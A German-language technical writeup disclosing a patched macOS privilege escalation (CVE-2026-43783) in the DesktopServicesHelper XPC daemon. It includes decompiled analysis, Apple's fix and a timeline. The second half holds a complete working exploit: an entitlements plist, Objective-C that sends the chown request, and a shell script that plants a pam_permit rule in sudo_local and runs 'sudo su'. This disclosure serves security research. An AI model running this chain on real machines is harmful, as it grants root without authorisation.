
Proof-of-Concept und technischer Writeup für CVE-2026-43783, eine lokale Rechteausweitung unter macOS über DesktopServicesHelper XPC beliebiges chown, um Root-Rechte zu erlangen.
Der Daemon, den Finder verwendet, um Berechtigungen von iCloud-Dateien zu „reparieren", stellte sich als bereit heraus, Berechtigungen an allem zu reparieren – einschließlich Systemverzeichnissen. In diesem Artikel schauen wir uns an, wie DesktopServicesHelper unter der Haube funktioniert und warum eine einzige XPC-Anfrage ausreichte, um Root zu erlangen.
Ich suchte nach Zielen mit com.apple.private.tcc.allow mit dem Wert kTCCServiceSystemPolicyAllFiles und DesktopServicesHelper fiel mir auf. DesktopServicesHelper befindet sich unter /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper, und Finder verwendet es für Dateioperationen, die erhöhte Rechte erfordern: Verschieben von Dateien, Setzen von Berechtigungen, Arbeiten mit dem Papierkorb.

Lud die Binärdatei in IDA und ging zu start(). Nach dem üblichen Timer- und Queue-Setup erstellt es einen XPC-Listener – den Einstiegspunkt des Daemons. Der Listener registriert einen Mach-Service unter einem bestimmten Namen und beginnt, auf eingehende Verbindungen zu lauschen. Jeder Prozess, der diesen Namen kennt, kann sich verbinden und eine Anfrage senden. Hier ist der entscheidende Teil:```c
// get the service name
v16 = (const char *)sub_1000709F4(a1: 0);
// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);
// start the event loop CFRunLoopRun();
Die Funktion `sub_1000709F4` gibt den Mach-Service-Namen zurück. In `start()` wird sie mit dem Argument 0 aufgerufen, was bedeutet, dass der Daemon sich unter dem Namen `com.apple.DesktopServicesHelper` registriert.```c
const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}
stru_1000B4B48 ist ein Handler-Block (Callback), den der Daemon für jedes eingehende Ereignis aufruft. XPC ist nachrichtenorientiert: Der Client erstellt ein Dictionary mit Schlüsseln und Werten, sendet es an den Daemon, und der Daemon analysiert den Inhalt und entscheidet, was zu tun ist. Alle eingehenden Ereignisse landen in diesem Handler. Schauen wir hinein.

Die Invoke-Funktion des Blocks ist sub_100032044. Bei einer neuen Verbindung ruft der Daemon zunächst die euid und egid des Clients ab – effektive Benutzer-ID und Gruppen-ID – die Bezeichner des Benutzers und der Gruppe, unter denen der verbindende Prozess läuft:```c
euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);
Dann weist es einen Handler für eingehende Nachrichten auf der Verbindung zu:```c
v15[2] = sub_10003AB2C; // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);
sub_10003AB2C - hier treffen die tatsächlichen XPC-Anfragen vom Client ein. Jetzt müssen wir verstehen, wie der Daemon entscheidet, welche Anfragen ausgeführt und welche abgelehnt werden.
sub_10003AB2C ist der Haupt-Dispatcher. Hier entscheidet der Daemon, was mit einer Anfrage geschehen soll. Die Funktion ist groß, also zerlegen wir sie.
Zuerst holt sie den "request"-String aus der Nachricht - den Befehlsnamen, den der Client ausführen möchte:```c
reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// logging: "Got Request '%{public}@'"
Dann ruft der Daemon das Audit-Token des verbindenden Prozesses ab und prüft, ob dieser innerhalb der App Sandbox läuft. Die App Sandbox ist ein macOS-Mechanismus zur Anwendungsisolierung, der den Zugriff auf das Dateisystem, das Netzwerk und andere Ressourcen einschränkt. Hier verzweigt es sich:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// client is sandboxed - check against allowlist
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
}
}
else
{
// client is not sandboxed - check entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
}
}
Wenn der Client in einer Sandbox läuft, wird der Anforderungsname gegen eine Allowlist mit sieben Zeichenketten geprüft. Wenn er übereinstimmt, ist die Prüfung bestanden und die Anforderung wird durchgelassen. Wenn nicht, beendet sub_100034250 den Daemon.
Wenn der Client nicht in einer Sandbox läuft, prüft der Daemon auf die Entitlement com.apple.private.tcc.allow mit dem Wert kTCCServiceSystemPolicyAllFiles. Kein Entitlement bedeutet ebenfalls den Tod.
Nach bestandener Prüfung durchläuft die Anforderung zwei Handler-Tabellen. Zuerst sub_10002F7C8, dann sub_10002A194:```c
// first table (8 commands, two arguments)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // found - invoke
// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke
Schauen wir uns nun die Handler-Tabellen an. Die erste Tabelle (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}
Nichts Interessantes hier. Acht Handler (OperationSizing, SetChildPermissions, ...), alle hinter Entitlement-Prüfungen abgesichert.
Aber es gibt eine zweite Tabelle - v27 = sub_10002A194(a1: buf):```c
__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
Das ergibt 21 Handler. Der Dispatcher arbeitet als Kaskade: Zuerst sucht er den Anforderungsnamen in der ersten Tabelle (`sub_10002F7C8`, 8 Befehle) – dies sind „Fire-and-Forget“-Operationen, die die XPC-Verbindung und den Peer (Client-Objekt) entgegennehmen, aber keine Antwort zurückgeben. Wird er nicht gefunden, durchsucht er die zweite Tabelle (`sub_10002A194`, 21 Befehle) – dies sind Operationen mit einer Antwort, die zusätzlich eine Reply erhalten (Objekt zum Zurücksenden des Ergebnisses an den Client).
Fast alle Befehle tun entweder nichts Interessantes oder sind hinter Entitlement-Prüfungen gesperrt. Aber einer ist offen – `RepairPermissionsForCloudItems`. Suchen wir seinen Handler. Im Assembly sehen wir, dass `sub_10002AA78` einen Funktionszeiger als drittes Argument entgegennimmt:```asm
__text:000000010002A2AC MOV X2, X16
__text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC ADD X20, X21, #0x80
__text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems -> sub_10002D744. Wir haben den einzigen Handler gefunden, der von der Sandbox ohne zusätzliche Entitlements erreichbar ist. Nun schauen wir uns an, was er tatsächlich mit den empfangenen Daten macht.
Der Handler sub_10002D744 erledigt drei Dinge. Zuerst extrahiert er den Schlüssel "Paths" aus der XPC-Nachricht und deserialisiert ihn über NSKeyedUnarchiver in ein String-Array:```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
Dann übergibt es jeden Pfad über `sub_100034B5C` an `sub_100029CE4`, um festzustellen, ob eine „Reparatur" erforderlich ist. Für Pfade, die repariert werden müssen, ruft es `sub_10002A11C` auf:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
Es gibt keine Pfadvalidierung: Was auch immer übergeben wird, wird verarbeitet. Die Funktion sub_100029CE4 prüft, ob eine "Reparatur" erforderlich ist. Hier ist die entscheidende Logik:```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // not a directory + hardlinks > 1 - skip
v6 = sub_100071288(a1: v4); // get caller's UID
if ( v28.st_uid != v6 )
return true; // owner doesn't match - repair needed
Die Prüflogik:```
lstat(path)
|
+- not a directory && hardlinks > 1 ?
| +- yes -> false (skip)
|
+- st_uid == our UID ?
| +- yes -> false (owner matches, no repair needed)
| +- no -> true (repair needed)
|
+- directory ?
+- yes -> recurse into contents
Für Pfade, die repariert werden müssen, wird sub_10002A11C aufgerufen – eine einfache Schleife, die über die Ergebnisse iteriert und für jedes einzelne sub_100029440 aufruft. Hier ist die Kernlogik von sub_100029440:```c
fd = open(path, 0x200000);
fstat(fd, &st);
// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);
// get caller's UID (ours - 501) caller_uid = sub_100071288();
// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);
close(fd);
// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);
Das ist alles. Der Daemon ruft `fchown` auf jedem angegebenen Pfad auf, ohne zu prüfen, ob er sich in `~/Library/Mobile Documents/` oder einem iCloud-Container befindet. Und wenn der Pfad ein Verzeichnis ist, durchläuft die Funktion rekursiv alle seine Inhalte und ruft `fchown` für jedes Element auf.
Lies das noch einmal. Lass es sacken. Übergib irgendein Verzeichnis – und du besitzt alle seine Inhalte.
## Zusammenfassung
Die vollständige Kette von der XPC-Anfrage bis zu `fchown`:```
Sandboxed app
|
+- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
|
+- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
| "Paths" = ["/private/etc/pam.d"]
|
+- send --> DesktopServicesHelper (root)
|
+- sandbox_check: client sandboxed? -> yes
+- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
+- NSKeyedUnarchiver: extract paths
+- lstat: st_uid != caller_uid? -> yes, repair needed
+- fchown(path, 501, gid) <- arbitrary path, no validation
Eine XPC-Anfrage – und jede Datei oder jedes Verzeichnis gehört uns.
Wir haben also ein beliebiges chown auf jeden Pfad auf der Festplatte. Jetzt müssen wir es nur noch in Root umwandeln.
Unter macOS läuft die Authentifizierung über PAM. Die Konfigurationen befinden sich in /private/etc/pam.d/ – eine Datei pro Programm, das Passwörter prüft: sudo, login, su usw. Das Verzeichnis gehört root:wheel. Wir können also mit unserem chown dessen Eigentümerschaft übernehmen. Danach können wir frei die Datei /private/etc/pam.d/sudo_local mit einer einzigen Zeile erstellen:```
auth sufficient pam_permit.so
`pam_permit.so` ist ein PAM-Modul, das immer Erfolg zurückgibt. `sudo` prüft `sudo_local` vor der Hauptkonfiguration. Ergebnis: `sudo` fragt nicht mehr nach einem Passwort.
Aber es gibt einen Haken. Man kann sich nicht einfach aus der Sandbox mit `com.apple.DesktopServicesHelper` verbinden: Die Sandbox blockiert standardmäßig mach-lookup zu diesem Dienst. Aber der Daemon selbst prüft, ob der aufrufende Prozess gesandboxt ist – und lässt erst dann `RepairPermissionsForCloudItems` ohne Entitlement-Prüfung durch. Die Ironie: Die Sandbox ist hier keine Verteidigung – sie ist ein Freifahrtschein.
Um mach-lookup an der Sandbox vorbeizubekommen, brauchen wir das Entitlement `com.apple.security.temporary-exception.mach-lookup.global-name`. Hier ist das minimale Entitlement-Set für die PoC-Anwendung:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>
Zwei Entitlements.
com.apple.security.app-sandbox - aktiviert die Sandbox (ohne sie würde der Daemon ein TCC-Entitlement verlangen und uns ablehnen).
com.apple.security.temporary-exception.mach-lookup.global-name - ein Sandbox-Ausnahme-Entitlement.
Die Sandbox erlaubt keine Verbindungen zu allen Mach-Diensten, und com.apple.DesktopServicesHelper steht nicht auf der erlaubten Liste. Dieser Schlüssel fügt eine Ausnahme für einen bestimmten Dienst hinzu. Das ist alles, was wir brauchen. Der Code kommt direkt in ViewController.m. Die Schlüsselmethode ist chownPath:, die sich mit dem Daemon verbindet und die Anfrage sendet:```objc
(void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);
NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);
xpc_connection_send_message_with_reply_sync(conn, msg); }
Wir verbinden uns mit `com.apple.DesktopServicesHelper`, archivieren den Pfad über `NSKeyedArchiver` in ein `NSArray` (wie es der Daemon erwartet), konstruieren ein XPC-Dictionary mit dem Schlüssel `"request"` = `"RepairPermissionsForCloudItems"` und senden es.
Beim App-Start rufen wir `chownPath:` auf `/private/etc/pam.d` auf und prüfen das Ergebnis:```objc
- (void)runExploit
{
[self chownPath:@"/private/etc/pam.d"];
usleep(200000);
struct stat st;
if (lstat("/private/etc/pam.d", &st) != 0) return;
if (st.st_uid == getuid())
NSLog(@"ok");
}
200ms warten, dann lstat - wenn der Eigentümer zu unserer UID geändert wurde, war das chown erfolgreich.
Jetzt setzen wir alles zusammen. Das Shell-Skript startet die PoC-Anwendung, wartet darauf, dass der Daemon seine Arbeit erledigt, überprüft, ob das chown erfolgreich war, schreibt die PAM-Regel und erlangt Root:```sh
#!/bin/sh
set -e
PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"
./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true
if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi
echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"
sudo id sudo su
## Apples Patch
Apple fügte ganz am Anfang des `RepairPermissionsForCloudItems`-Handlers eine Berechtigungsprüfung hinzu:```c
if ( (sub_100034110(a1: v5,
a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}
Nun können nur noch Prozesse mit der privaten Entitlement com.apple.private.desktopservices.cloud-repair-perm RepairPermissionsForCloudItems aufrufen. Ohne diese beendet sub_100034250 den Daemon. Die restliche Logik der Funktion bleibt unverändert.
| Datum | Ereignis |
|---|---|
| 05.09.2026 | Bericht an Apple Product Security übermittelt |
| 05.11.2026 |
Danke fürs Lesen, viel Erfolg bei der Fehlersuche!
| Apple hat den Bericht zur Prüfung weitergeleitet |
| 05.13.2026 | Apple hat den Fehler reproduziert, Fix für Herbst geplant |
| 05.26.2026 | Patch in macOS 26.6 Beta 1 |
| 08.11.2026 | CVE-2026-43783 zugewiesen |